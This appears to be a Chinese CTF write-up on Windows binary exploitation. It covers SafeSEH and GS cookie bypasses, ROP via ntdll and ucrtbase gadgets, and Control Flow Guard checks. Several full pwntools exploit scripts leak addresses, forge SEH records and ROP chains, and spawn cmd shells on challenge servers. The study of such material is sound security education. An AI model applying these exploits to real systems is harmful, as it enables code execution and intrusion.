在 init_scmgr函数中，会调用 VirtualAlloc创建一个可执行的堆空间。并且输出堆地址，返回也为堆地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int init_scmgr()
{
  LPVOID map_addr; // eax
  int result; // eax
  struct _SYSTEM_INFO SystemInfo; // [esp+0h] [ebp-24h] BYREF

  GetSystemInfo(&SystemInfo);
  dword_10003018 = SystemInfo.dwPageSize;
  dword_10003390 = 20 * SystemInfo.dwPageSize;
  map_addr = VirtualAlloc(0, 20 * SystemInfo.dwPageSize, 0x1000u, 0x40u);// 赋予执行权限
  map_addr1 = (int)map_addr;
  if ( map_addr )
  {
    output("Global memory alloc at %p\n", (char)map_addr);
    result = map_addr1;
    dword_10003388 = map_addr1;
  }
  else
  {
    puts("Error to alloc globalmemory");
    result = -1;
  }
  return result;
}

随后在输入name处有一个栈溢出和数据泄露。通过 格式化函数，可以泄露部分数据。

1
2
3
4
5
6
7
8
9
10
11
12
puts("leave your name");
v3 = 0;
v4 = getchar();
do
{
  if ( v4 == 10 )
    break;
  ArgList[v3++] = v4;
  v4 = getchar();
}
while ( v3 != 300 );
Output("hello %s\n", (char)ArgList);

在 Run函数中还存在一个栈溢出，通过 memcpy拷贝会导致栈溢出。然后会将shellcode前4字节赋值为 0xffffffff，随后执行shellcode，这里执行shellcode肯定会报错，因为shellcode前4字节 为 0xffffffff。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
int Run()
{
  int idx; // ebx
  int chunk_struct; // edi
  int result; // eax
  _DWORD *v3; // esi
  char Src[100]; // [esp+10h] [ebp-80h] BYREF
  CPPEH_RECORD ms_exc; // [esp+78h] [ebp-18h]

  memset(Src, 0, sizeof(Src));
  ms_exc.registration.TryLevel = 0;
  puts("shellcode index:");
  idx = get_num();
  chunk_struct = (int)*(&Block + idx);
  if ( chunk_struct )
  {
    if ( byte_405448 )
    {
      v3 = *(_DWORD **)(chunk_struct + 4);      // shellcode_addr
      memcpy(Src, v3, *(_DWORD *)(chunk_struct + 8));	//栈溢出
      *v3 = -1;			//将shellcode前4字节赋值为0xffffffff
    }
    (*(void (__thiscall **)(_DWORD))(chunk_struct + 4))(*(_DWORD *)(chunk_struct + 4));	//执行shellcode
    if ( byte_405448 )
      memcpy(*((void **)*(&Block + idx) + 1), Src, *((_DWORD *)*(&Block + idx) + 2));
    result = 0;
  }
  else
  {
    puts("invalid index");
    ms_exc.registration.TryLevel = -2;
    result = -1;
  }
  return result;
}

利用分析

这里首先想到的方法就是直接利用栈溢出覆盖返回地址。但是这里有一个连锁问题，我们栈溢出只有两个地方：一个是输入name，一个是run。但是 输入 name处我们需要用于泄露数据，例如 __security_cookie；那么只能在 run处栈溢出，但是此处栈溢出时，必然会触发一个异常，那么就会进入 seh检查执行，如果我们直接将 next_seh和 handler函数以及 scope_table都覆盖出错，那么就是直接报异常错误，还是执行不到 ret处。

所以这里还是要考虑 seh的攻击方法。上面提到针对 safe seh有三种攻击方法，第三种实现困难不考虑。

首先第一种，找到一个不在当前执行模块内的地址，且为开启 DEP，那么这里就是堆地址了，而且程序一开始也泄露了堆地址，虽然堆上的 shellcode前4字节被覆盖为了 0xffffffff，但是依然可以将 handler覆盖为 shellcode_addr+4的地址。但是这种方法在Windows7上有效，对于 windows10已经失效，因为开启了 MEM_EXECUTE_OPTION_IMAGE_DISPATCH_ENABLE，它决定了是否允许在加载模块内存空间外执行

所以就只有第2条，找到一个未开启 SafeSEH的模块地址。这里在 scmgr.dll中有一个后门函数。并且该模块也没有开启 SafeSEH。

1
2
3
4
5
int getshell_test()
{
  system("cmd");
  return 0;
}

所以这里可以把 hander覆盖为 getshell_test地址。但是这里还需要注意把 next_seh覆盖正确。原因在于Win10里面多了一个Check函数ntdll!RtlpIsValidExceptionChain，这个函数会去获得当前seh chain的prev域的值，并将其与 当前栈上的 next_seh比较。所以这里只需要修复 next_seh即可。而 泄露数据 只有在程序一开始的输入 Name的地方，这里有一个疑惑，即我们没有执行 run函数，那么 main一开始是没有异常处理流程的，那么栈上会有这个 next_seh数据吗。经过我调试发现在 执行main之前会执行 ?__scrt_common_main_seh@@YAHXZ函数，其中一块是会调用 __SEH_prolog4函数，其中会将 next_seh压入栈中，而且并不会更新当前 Exception_Registration的 seh的值：

1
2
3
4
5
.text:004023B0                 push    offset __except_handler4
.text:004023B5                 push    large dword ptr fs:0		//压入next_seh
.text:004023BC                 mov     eax, [esp+8+arg_4]
.text:004023C0                 mov     [esp+8+arg_4], ebp
.text:004023C4                 lea     ebp, [esp+8+arg_4]

所以，可以利用 name溢出，来泄露位于main函数 栈帧下方的 __SEH_prolog4的 next_seh函数。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from pwn import *
context.log_level='debug'
p = remote('192.168.44.149', 10003)

def get_scmgr_base(check):
    for base in range(0x60000000, 0x80000000, 0x10000):
        init_scmgr = base + 0x1090
        g_table = [init_scmgr]
        for i in range(31):
            init_scmgr = (init_scmgr * 69069) & 0xffffffff
            g_table.append(init_scmgr)
        g_index = 0
        v0 = (g_index-1) & 0x1f
        v2 = g_table[(g_index + 3) & 0x1f] ^ g_table[g_index] ^ (g_table[(g_index + 3) & 0x1f] >> 8)
        v1 = g_table[v0]
        v3 = g_table[(g_index + 10) & 0x1F]
        v4 = g_table[(g_index - 8) & 0x1F] ^ v3 ^ ((v3 ^ (32 * g_table[(g_index - 8) & 0x1F])) << 14)
        v4 = v4 & 0xffffffff
        g_table[g_index] = v2 ^ v4
        g_table[v0] = (v1 ^ v2 ^ v4 ^ ((v2 ^ (16 * (v1 ^ 4 * v4))) << 7)) & 0xffffffff
        g_index = (g_index - 1) & 0x1F
        if(g_table[g_index] == check):
            print "base: " + hex(base)
            return base + 0x1100

def Create(size, name, des, shellcode):
    p.recvuntil('Option:\r\n')
    p.sendline('1')
    p.recvuntil('shellcode size:\r\n')
    p.sendline(str(size))
    p.recvuntil('shellcode name:\r\n')
    p.sendline(name)
    p.recvuntil('shellcode description:\r\n')
    p.sendline(des)
    p.recvuntil('shellcode:\r\n')
    p.sendline(shellcode)

def Run(idx):
    p.recvuntil('Option:\r\n')
    p.sendline('4')
    p.recvuntil('shellcode index:\r\n')
    p.sendline(str(idx))


def set(option):
    p.recvuntil('Option:\r\n')
    p.sendline('5')
    p.recvuntil('Option:\r\n')
    p.sendline(str(option))
    check = p.recv(200).split("-")[5][:8]
    check = int(check, 16)
    print "check: " + hex(check)
    get_shell = get_scmgr_base(check)
    return get_shell

while True:
    try:
        p.recvuntil('alloc at ')
        heap_addr = int(p.recvuntil('\r\n', drop=True), 16)
        p.recvuntil('leave your name\r\n')
        #raw_input()
        p.sendline('a'*80)
        #raw_input()
        seh_next = u32(p.recvuntil('\r\n', drop=True)[-3:].ljust(4, '\x00'))
        seh_next = seh_next & 0xffffff
        print('seh_next:',hex(seh_next))
        #Create(2, 'a', 'a', 'aa')
        system_addr = set(1)
        print("system_addr:",hex(system_addr))
        # if system_addr == 0x6a451100:
        #     raw_input()
        # p.recvuntil('challenge response:\r\n')
        p.sendline('a1ex')
        raw_input()
        payload = 'a'*0x70 + p32(seh_next) + p32(system_addr) + p32(0)
        Create(len(payload), 'a', 'a', payload)

        Run(0)
        break
    except:
        p.close()
        p = remote('192.168.44.149', 10003)

p.interactive()

栈溢出执行 ROP

基础知识

Windows下利用栈溢出执行rop来 getshell，有一些和 Linux相通的知识点这里先做个介绍总结。

在windows结束 ret之前，会进行一个检查 __security_check_cookie

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
.text:0000000140001000 ; __unwind { // __GSHandlerCheck
.text:0000000140001000                 push    rbx
.text:0000000140001002                 sub     rsp, 130h
.text:0000000140001009                 mov     rax, cs:__security_cookie
.text:0000000140001010                 xor     rax, rsp
.text:0000000140001013                 mov     [rsp+138h+var_18], rax
	
    									...
    
.text:00000001400010B2                 mov     rcx, [rsp+138h+var_18]
.text:00000001400010BA                 xor     rcx, rsp        ; StackCookie
.text:00000001400010BD                 call    __security_check_cookie
.text:00000001400010C2                 add     rsp, 130h
.text:00000001400010C9                 pop     rbx
.text:00000001400010CA                 retn

可以看到程序首先会使用全局变量 __security_cookie与 rsp进行异或，生成一个 StackCookie放到 rbp+0x18的位置。在执行 ret之前，会将 Stack_Cookie与 rsp进行异或，然后调用 __security_check_cookie检查是否结果是否等于 __security_cookie。

__security_cookie这个全局变量，是存储在程序的 data段上：

1
.data:0000000140003008 __security_cookie dq 2B992DDFA232h      ; DATA XREF: main+9↑r

所以，利用栈溢出时，要么能泄露 StackCookie，溢出时对齐进行修复；要么能泄露 __security_cookie和 rsp，对其进行修复。

库函数调用

Linux执行 rop，有两个关键点合适的 gadget和准确的 库函数地址，这两点在 Linux下都可以通过 glibc来泄露寻找。但是对于 windows则需要分开寻找。

ntdll.dll是Windows系统从ring3到ring0的入口。位于Kernel32.dll和user32.dll中的所有win32 API 最终都是调用ntdll.dll中的函数实现的。ntdll.dll中的函数使用SYSENTRY进入ring0，函数的实现实体在ring0中。所以如果这个函数是每个程序启动基本都会调用的，可以考虑从中寻找我们需要的 gadget。

然后是寻找库函数地址， ucrtbased.dll这个库是 VC程序执行必须要有的库，里面放入了很多 VC程序的API调用接口，类似于 Glibc.so。所以可以考虑从 ucrtbased.dll寻找需要调用的 函数地址。

但是，windows的传参方式和函数调用都与 Linux有一些差别。

Windows64位下 参数也通过寄存器传递，依次通过 rcx\ rdx\ r8\ r9。其次函数调用 也不能直接指向 函数实现的入口地址，又因为 windows下没有 plt表，所以调用程序内的函数，要指向 call func的地址，例如要调用 puts函数，需要使用如下 gadget：

1
.text:00000001400010A6                 call    cs:puts

所以，我们想要实现库函数调用，也不可以直接指向库函数地址，而是要找到此类地址：

1
.text:00000000000ABBA0                 jmp     common_system_char_

所以可能需要泄露 ntdll.dll和 ucrtbased.dll的基址。

Babyrop

程序分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
int __cdecl main(int argc, const char **argv, const char **envp)
{
  FILE *v3; // eax
  int i; // esi
  char v5; // al
  FILE *v6; // eax
  FILE *v7; // eax
  int v8; // esi
  int j; // ebx
  char v10; // al
  FILE *v11; // eax
  char v13[100]; // [esp+Ch] [ebp-CCh] BYREF
  char name[100]; // [esp+70h] [ebp-68h] BYREF
  int v15; // [esp+D4h] [ebp-4h] BYREF

  puts("input your name");
  v3 = _iob_func();
  fflush(v3 + 1);
  for ( i = 0; i < 100; ++i )
  {
    v5 = getchar();
    if ( v5 == 10 )
      break;
    name[i] = v5;
  }
  printf("hello %s\n", name);
  v6 = _iob_func();
  fflush(v6 + 1);
  puts("input your message length");
  v7 = _iob_func();
  fflush(v7 + 1);
  scanf("%d\n", &v15);
  v8 = 0;
  for ( j = v15; v8 < j; v13[v8++] = v10 )
  {
    v10 = getchar();
    if ( v10 == 10 )
      break;
  }
  puts("leave your message");
  printf("your mesage is %s\n", v13);
  printf("press enter to exit\n");
  v11 = _iob_func();
  fflush(v11 + 1);
  getchar();
  return 0;
}

一个栈溢出漏洞，在name偏移 0x64位置处有 ucrtbase.dll的地址残留，泄露地址，通过 rop执行 system("cmd.exe")即可。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
import sys

context.log_level = 'debug'
context.arch = 'i386'

p = remote("node3.buuoj.cn",26998)

str_cmd_exe = 0x1ED0
system_offset = 0x307FB

# leak PIE
payload = "A" * 0x63 + "@"
p.sendlineafter("input your name", payload)
p.recvuntil("@")
dll_base = u32(p.recv(4)) - 0x261b1
system = dll_base + system_offset
cmd_exe = dll_base + str_cmd_exe

# getshell
p.sendlineafter("input your message length", str(0x100))
payload = 'A' * 0xCC + p32(0) + p32(system) + p32(0) + p32(cmd_exe)
p.sendline(payload)
p.sendlineafter("press enter to exit", "")

print("[*] dll_base: %s" % hex(dll_base))

p.interactive()

2020 强网杯 easyoverflow

程序分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int __cdecl main(int argc, const char **argv, const char **envp)
{
  FILE *v3; // rax
  FILE *v4; // rax
  FILE *v5; // rax
  int v6; // ebx
  char DstBuf[256]; // [rsp+20h] [rbp-118h] BYREF

  v3 = _acrt_iob_func(0);
  setbuf(v3, 0i64);
  v4 = _acrt_iob_func(1u);
  setbuf(v4, 0i64);
  v5 = _acrt_iob_func(2u);
  setbuf(v5, 0i64);
  v6 = 3;
  do
  {
    --v6;
    memset(DstBuf, 0, sizeof(DstBuf));
    puts("input:");
    read(0, DstBuf, 0x400u);
    puts("buffer:");
    puts(DstBuf);
  }
  while ( v6 > 0 );
  return 0;
}

程序漏洞很简单，存在3次，任意数据泄露，并且都可以执行栈溢出。

利用分析

根据上面分析，要执行栈溢出，首先需要泄露 StackCookie地址，而这里由于后续需要多次利用栈溢出并执行main函数，所以这里如果只泄露 StackCookie后续栈溢出再执行 main，还得泄露 StackCookie的值。所以这里选择先泄露 栈地址 和 __security_cookie的值。

栈地址很好泄露，rbp即可泄露，而 __security_cookie需要先泄露 程序基址。可以通过 返回地址泄露。

然后第三次，可以布置栈溢出，rop如下：

1
2
3
4
padding;
stackCookie;
padding;
main_addr;

然后再次执行main函数，可以再次泄露 ntdll.dll，因为 在 执行 main函数之前会先调用 ntdll.dll，所以在main函数的栈帧的高位会存储 ntdll.dll的地址。通过溢出泄露该 ntdll.dll地址。

随后即可得到 pop_rcx_r和 pop_rbx_r的地址。然后再泄露一次 StackCookie2；

即可布置第2次 rop如下：

1
2
3
4
5
6
7
8
padding;
StackCookie2;
padding;
pop_rcx_r;
__security_cookie_addr;
pop_rbx_r;
1;
puts_addr;

这里的 puts_addr选用main中的：

1
.text:00000000000010A6                 call    cs:puts

执行完 puts后，我们得到 __security_cookie的值， 会再次进入循环判断，所以这里需要使用 pop_rbx_r将循环标志置为1。

这里先通过异或得到当前的rsp，然后 __security_cookie^(rsp+0x160)得到StackCookie3 然后再次进入一次循环，这里即可再次布置 rop：

1
2
3
4
5
6
7
8
padding;
StackCookie3;
padding;
pop_rcx_r;
read_got;
pop_rbx_r;
1;
puts_addr;

这里即可泄露 read的地址，然后得到 ucrtbase.dll的基址，从而得到 system和 cmd.exe的地址。最后布置rop:

1
2
3
4
5
6
7
8
padding;
StackCookie4;
padding;
pop_rcx_r;
cmd_addr;
pop_rbx_r;
1;
system_addr;

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from pwn import *
context.log_level='debug'
p = remote('192.168.44.175', 10003)

payload = 'a'*0x100
p.sendafter('input:\r\n', payload)

p.recvuntil('a'*0x100)
StackCookie = u64(p.recvuntil('\r\n', drop=True).ljust(8, b'\x00'))
print("StackCookie:", hex(StackCookie))

payload = 'a'*0x118
p.sendafter('input:\r\n', payload)
p.recvuntil('a'*0x118)
ret_addr = u64(p.recvuntil('\r\n', drop=True).ljust(8, b'\x00'))
plt_base = ret_addr - 0x12f4
print("plt_base:",hex(plt_base))

main_addr = plt_base+0x1000
puts_addr = plt_base+0x10a6
security_cookie = plt_base+0x3008

#raw_input()
payload = 'a'*0x100+p64(StackCookie)+'a'*0x10+p64(main_addr)
p.sendafter('input:\r\n', payload)
p.recvuntil('\r\n')
p.recvuntil('\r\n')

#leak StackCookie1
payload = 'a'*0x100
p.sendafter('input:\r\n', payload)
p.recvuntil('a'*0x100)
StackCookie1 = u64(p.recvuntil('\r\n', drop=True).ljust(8, b'\x00'))
print("StackCookie:", hex(StackCookie1))

#leak ntdll base
payload = 'a'*0x180
p.sendafter('input:\r\n', payload)
p.recvuntil('a'*0x180)
ntdll_addr = u64(p.recvuntil('\r\n', drop=True).ljust(8, b'\x00'))
ntdll_base = ntdll_addr-(0x8ce71-0x20000)
print("ntdll.dll:",hex(ntdll_base))

pop_rcx_r = ntdll_base+0x21527
pop_rdx_r = ntdll_base+0x56652
pop_rbx_r = ntdll_base+0x234d
print("pop_rcx_r:",hex(pop_rcx_r))

#leak __security_cookie
payload = 'a'*0x100+p64(StackCookie1)+'a'*0x10+p64(pop_rcx_r)+p64(security_cookie)+p64(pop_rbx_r)+p64(2)+p64(puts_addr)
p.sendafter('input:\r\n', payload)
p.recvuntil('\r\n')
p.recvuntil('\r\n')
scookie = u64(p.recvuntil('\r\n', drop=True).ljust(8, b'\x00'))
print("Scookie:",hex(scookie))


puts_got = plt_base+0x2180
read_got = plt_base+0x2178

payload = 'a'*0x20
p.sendafter('input:\r\n', payload)
p.recvuntil('\r\n')
p.recvuntil('\r\n')

stack_addr = scookie^StackCookie1
stack_addr2 = stack_addr+0x160
print("stack_addr2:",hex(stack_addr2),hex(stack_addr))

#leak ucrtbase_base
payload = 'a'*0x100+p64(scookie^stack_addr2)+'b'*0x10+p64(pop_rcx_r)+p64(read_got)+p64(pop_rbx_r)+p64(1)+p64(puts_addr)
p.sendafter('input:\r\n', payload)
p.recvuntil('\r\n')
p.recvuntil('\r\n')
read_addr = u64(p.recvuntil('\r\n', drop=True).ljust(8, b'\x00'))
print("puts addr:",hex(read_addr))

ucrtbase_base = read_addr-0x16140
print("ucrtbase_base:",hex(ucrtbase_base))
system_addr = ucrtbase_base+0xaadb0
cmd_addr = ucrtbase_base+0xccf30

stack_addr3 = stack_addr2+0x160
#raw_input()
payload = 'a'*0x100+p64(scookie^stack_addr3)+'b'*0x10+p64(pop_rcx_r)+p64(cmd_addr)+p64(system_addr)
p.sendafter('input:\r\n', payload)
p.recvuntil('\r\n')

p.interactive()

2019-SUCTF-babyStack

程序分析

程序一开始就给了栈地址和程序基地址，然后覆盖返回地址已经不成功。这里只有考虑 seh覆盖。这里从伪代码中看不出程序的漏洞，是因为有部分花指令隐藏：

1
2
3
4
5
6
7
8
9
10
text:00001982 58                                            pop     eax
.text:00001983 8B 75 D4                                      mov     esi, [ebp+var_2C]
.text:00001986 2B F0                                         sub     esi, eax
.text:00001988 F7 F6                                         div     esi
.text:0000198A 58                                            pop     eax
.text:0000198B 68 1C 5F 00 00                                push    offset aYouCanNotFindM ; "You can not find Me!\n"
.text:00001990 E8 93 F6 FF FF                                call    print
.text:00001995 83 C4 04                                      add     esp, 4
.text:00001998 6A 00                                         push    0               ; Code
.text:0000199A FF 15 0C 81 00 00                             call    ds:__imp_exit

在程序要结束前，会进行一次除法错误，这里可以构造一个除0异常，然后就会进入异常处理的流程。我们查看main函数注册的异常：

1
2
3
4
5
6
7
8
.rdata:00006808 E4 FF FF FF 00 00 00 00 C0 FF+stru_6808       dd 0FFFFFFE4h           ; GSCookieOffset
.rdata:00006808 FF FF 00 00 00 00 FE FF FF FF+                                        ; DATA XREF: _main_0+5↑o
.rdata:00006808 B5 19 00 00 BB 19 00 00                       dd 0                    ; GSCookieXOROffset
.rdata:00006808                                               dd 0FFFFFFC0h           ; EHCookieOffset
.rdata:00006808                                               dd 0                    ; EHCookieXOROffset
.rdata:00006808                                               dd 0FFFFFFFEh           ; ScopeRecord.EnclosingLevel
.rdata:00006808                                               dd offset loc_19B5      ; ScopeRecord.FilterFunc
.rdata:00006808                                               dd offset loc_19BB      ; ScopeRecord.HandlerFunc

这里的except操作对应如下代码：

1
2
.text:000019B5 B8 01 00 00 00                                mov     eax, 1
.text:000019BA C3                                            retn

而 finally操作对应如下代码：

1
2
.text:000019BB 8B 65 E8                                      mov     esp, [ebp+ms_exc.old_esp]
.text:000019BE E8 5A F7 FF FF                                call    j_funcs

而 funcs对应的函数如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
void __noreturn funcs()
{
  FILE *v0; // eax
  char v1; // [esp+0h] [ebp-F4h]
  char v2; // [esp+0h] [ebp-F4h]
  char v3; // [esp+0h] [ebp-F4h]
  char v4; // [esp+0h] [ebp-F4h]
  char v5; // [esp+0h] [ebp-F4h]
  char v6; // [esp+0h] [ebp-F4h]
  int v7; // [esp+18h] [ebp-DCh]
  int v8; // [esp+1Ch] [ebp-D8h]
  char ArgList; // [esp+20h] [ebp-D4h]
  int i; // [esp+38h] [ebp-BCh]
  char Buffer[128]; // [esp+48h] [ebp-ACh] BYREF
  char String[4]; // [esp+C8h] [ebp-2Ch] BYREF
  int v13; // [esp+CCh] [ebp-28h]
  int v14; // [esp+D0h] [ebp-24h]
  int v15; // [esp+D4h] [ebp-20h]
  CPPEH_RECORD ms_exc; // [esp+DCh] [ebp-18h]

  memset(Buffer, 0, sizeof(Buffer));
  *(_DWORD *)String = 0;
  v13 = 0;
  v14 = 0;
  v15 = 0;
  print("Oops,You find Me!\n", v1);
  print("OK,I can tell you something\n", v2);
  ms_exc.registration.TryLevel = 0;
  for ( i = 0; i < 10; ++i )
  {
    print("Do you want to know more?\n", v3);
    scan("%s", (char)Buffer);
    getchar();
    v8 = strcmp(Buffer, "yes");
    if ( v8 )
      v8 = v8 < 0 ? -1 : 1;
    if ( v8 )
    {
      v7 = strcmp(Buffer, "no");
      if ( v7 )
        v7 = v7 < 0 ? -1 : 1;
      if ( !v7 )
        break;
      v0 = _acrt_iob_func(0);
      fgets(Buffer, 256, v0);
    }
    else
    {
      print("Where do you want to know?\n", v3);
      scan("%s", (char)String);
      ArgList = atoi(String);
      print("Address 0x%X value is 0x%X\n", ArgList);
    }
  }
  ms_exc.registration.TryLevel = -2;
  print("Now,I will tell you 1 + 1 = 3!\n", v3);
  print("Oh,no!\n", v4);
  print("You don't believe 1 + 1 = 3???\n", v5);
  print("You do calculation like cxk!!!\n", v6);
  exit(0);
}

存在10次数据泄露，也可以构造栈溢出，并且可以构造异常错误。

利用分析

这里首先需要分析，发生异常时，如何确定 调用except还是finally：

1
2


EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import *
context.log_level='debug'
p = remote('10.128.212.238', 10002)

p.recvuntil('stack address = ')
stack_addr = int(p.recvuntil('\r\n', drop=True), 16)
p.recvuntil('main address = ')
plt_addr = int(p.recvuntil('\r\n', drop=True), 16)-0x115e
print("Stack_addr:",hex(stack_addr),hex(plt_addr))
raw_input()

addr1 = plt_addr+0x1981
print("addr1:",hex(addr1))
payload = "00"+str(hex(addr1)[2:])
p.sendlineafter('did you know?\r\n', payload)

system_addr = plt_addr+0x16ab
stack_addr2 = stack_addr-0x20
#leak StackCookie
p.sendlineafter('to know more?\r\n', "yes")
payload = str(int(stack_addr2-0x1c))
p.sendlineafter('want to know?\r\n', payload)
p.recvuntil('value is ')
StackCookie = int(p.recvuntil('\r\n', drop=True), 16)
print("StackCookie:", hex(StackCookie))

#leak next_seh
p.sendlineafter('to know more?\r\n', "yes")
payload = str(int(stack_addr2-0x10))
p.sendlineafter('want to know?\r\n', payload)
p.recvuntil('value is ')
next_seh = int(p.recvuntil('\r\n', drop=True), 16)
print("next_seh:", hex(next_seh))

#leak except_handler
p.sendlineafter('to know more?\r\n', "yes")
payload = str(int(stack_addr2-0xc))
p.sendlineafter('want to know?\r\n', payload)
p.recvuntil('value is ')
handler = int(p.recvuntil('\r\n', drop=True), 16)
print("handler:", hex(handler))

#leak security_cookie
p.sendlineafter('to know more?\r\n', "yes")
payload = str(int(plt_addr+0x7004))
p.sendlineafter('want to know?\r\n', payload)
p.recvuntil('value is ')
cookie = int(p.recvuntil('\r\n', drop=True), 16)
print("sc:", hex(cookie))

#overflow
p.sendlineafter('to know more?\r\n', "noo")
fake_scope_addr = (stack_addr2-0x9c)^cookie
fake_scope = p32(0)*4+p32(0xFFFFFFE4)+p32(0x0)+p32(0xFFFFFF0C)+p32(0)+p32(0xFFFFFFFE)+p32(system_addr)+p32(system_addr)
fake_scope = fake_scope.ljust(0x90, 'a')
payload = fake_scope+p32(StackCookie)+'b'*8+p32(next_seh)+p32(handler)+p32(fake_scope_addr)+p32(0)
print("fake_addr:",hex(stack_addr2-0xbc),hex(fake_scope_addr),hex(StackCookie^cookie))
p.sendline(payload)

p.sendlineafter('to know more?\r\n', "yes")
payload = str(int(0))
p.sendlineafter('want to know?\r\n', payload)

p.interactive()

CFG绕过

Insomni’hack Teaser 2017 Easywin

程序分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
int attak()
{
  int result; // eax
  unsigned __int64 i; // rsi
  __int64 chunk_num; // rdi
  char v3; // r8
  _BYTE *chunk1; // rcx
  char v5; // r9
  char *v6; // rcx
  char v7; // dl

  print("Launching attack!\n");
  result = SetStdHandle(0xFFFFFFF6, 0i64);
  for ( i = 0i64; i < 0x100; ++i )
  {
    chunk_num = chunk_list[i];
    if ( chunk_num )
    {
      v3 = 0;
      chunk1 = (_BYTE *)chunk_list[i];
      do
      {
        if ( *chunk1 )
        {
          if ( (unsigned __int8)(*chunk1 - 0x21) > 0x5Du )
            goto LABEL_18;
        }
        else
        {
          v3 = 1;
        }
        ++chunk1;
      }
      while ( (unsigned __int64)&chunk1[-chunk_num] < 0x100 );
      if ( v3 )
      {
        v5 = 0;
        v6 = (char *)(chunk_num + 256);
        do
        {
          v7 = *v6;
          if ( *v6 )
          {
            if ( (unsigned __int8)(v7 - 32) > 0x5Eu && v7 != 10 )
              goto LABEL_18;
          }
          else
          {
            v5 = 1;
          }
          ++v6;
        }
        while ( (unsigned __int64)&v6[-256 - chunk_num] < 0x100 );
        if ( v5 && *(_QWORD *)(chunk_num + 512) )
        {
          rand();
          rand();
          print_0((char *)(chunk_num + 0x100));				//格式化字符串漏洞
          result = (*(__int64 (__fastcall **)(__int64))(chunk_num + 0x200))(chunk_num);	//函数指针
          continue;
        }
      }
LABEL_18:
      result = print(
                 "Droid %zu failed the integrity check, cannot be used in the attack. Sending the droid to maintenance...\n",
                 i);
    }
  }
  return result;
}

程序漏洞很简单，在堆上有一个函数指针，可以通过edit覆盖该指针。

利用分析

这里泄露地址的方法，就是通过 attack的格式化字符串，此时栈上会有 ucrtbase.dll的残留。所以可以通过格式化字符串泄露出来，虽然执行 attack后，会结束程序，但是 ucrtbase.dll的基址是不变的。

然后就通过覆盖函数指针，为 system即可。这里这个函数调用，虽然有一个 CFG检查，但是这里执行 system是可以的。这里后续需要研究一下 CFG的绕过。

CFG

简单来说，CFG通过在间接跳转前插入校验代码，检查目标地址是否合法，从而可以组成程序控制流被劫持到非预期的地方。
而从细节上讲，比如：

1
2
3
4
5
6
.text:00007FF6862A17BD                 mov     rbx, [rdi+200h]
.text:00007FF6862A17C4                 mov     rcx, rbx
.text:00007FF6862A17C7                 call    cs:__guard_check_icall_fptr
.text:00007FF6862A17CD                 mov     rcx, rdi
.text:00007FF6862A17D0                 call    rbx
.text:00007FF6862A17D2                 jmp     short loc_7FF6862A17E3

这里需要call rbx，不过首先需要通过__guard_check_icall_fptr对rbx的位置进行一个校验。
而在win10里，这个__guard_check_icall_fptr的实现其实就是ntdll!LdrpValidateUserCallTarget：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
unsigned __int64 __fastcall LdrpValidateUserCallTarget(unsigned __int64 func_addr)
{
    __int64 bitmap; // rdx
    unsigned __int64 bit_offset; // rax

    bitmap = CFGBitmap[func_addr >> 9];
    bit_offset = func_addr >> 3;
    if ( (func_addr & 0xF) != 0 )
    {
        bit_offset &= 0xFFFFFFFFFFFFFFFEui64;
        if ( !_bittest64(&bitmap, bit_offset) )
            return LdrpHandleInvalidUserCallTarget();
LABEL_5:
        bit_offset |= 1ui64;
        if ( _bittest64(&bitmap, bit_offset) )
            return bit_offset;
        return LdrpHandleInvalidUserCallTarget();
    }
    if ( !_bittest64(&bitmap, bit_offset) )
        goto LABEL_5;
    return bit_offset;
}

整个 check流程如下：

  1. func_addr >> 9得到对应CFGBitmap数组的下标，这里的原因是：

    • CFGBitmap原理是8 bytes对应1 bit，换句话说，就是8 bytes的虚拟地址空间是用CFGBitmap中的1 bit标记的；所以这里需要右移3。

    • CFGBitmap数组是以QWORD单位存的，故bitmap也是以8 bytes也就是64 bit取的，进行判断的时候下标最大为2^6-1，即需要6 bit表示下标；所以这里需要右移6。

    • 所以最后func_addr >> 9才得到对应CFGBitmap数组的下标。

      综上，被check的func_addr实际上被分为了三个部分：

      1
      2
      3
      4
      5
      +---------------------+------------------+--------+
      |       55 bits       |       6 bits     | 3 bits |
      +---------------------+------------------+--------+
      | offset in CFGBitmap | offset in bitmap |  left  |
      +---------------------+------------------+--------+

